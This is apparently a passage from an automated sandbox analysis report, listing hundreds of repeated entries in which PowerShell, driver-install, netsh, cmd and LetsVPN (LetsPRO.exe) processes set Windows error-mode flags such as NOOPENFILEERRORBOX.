            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
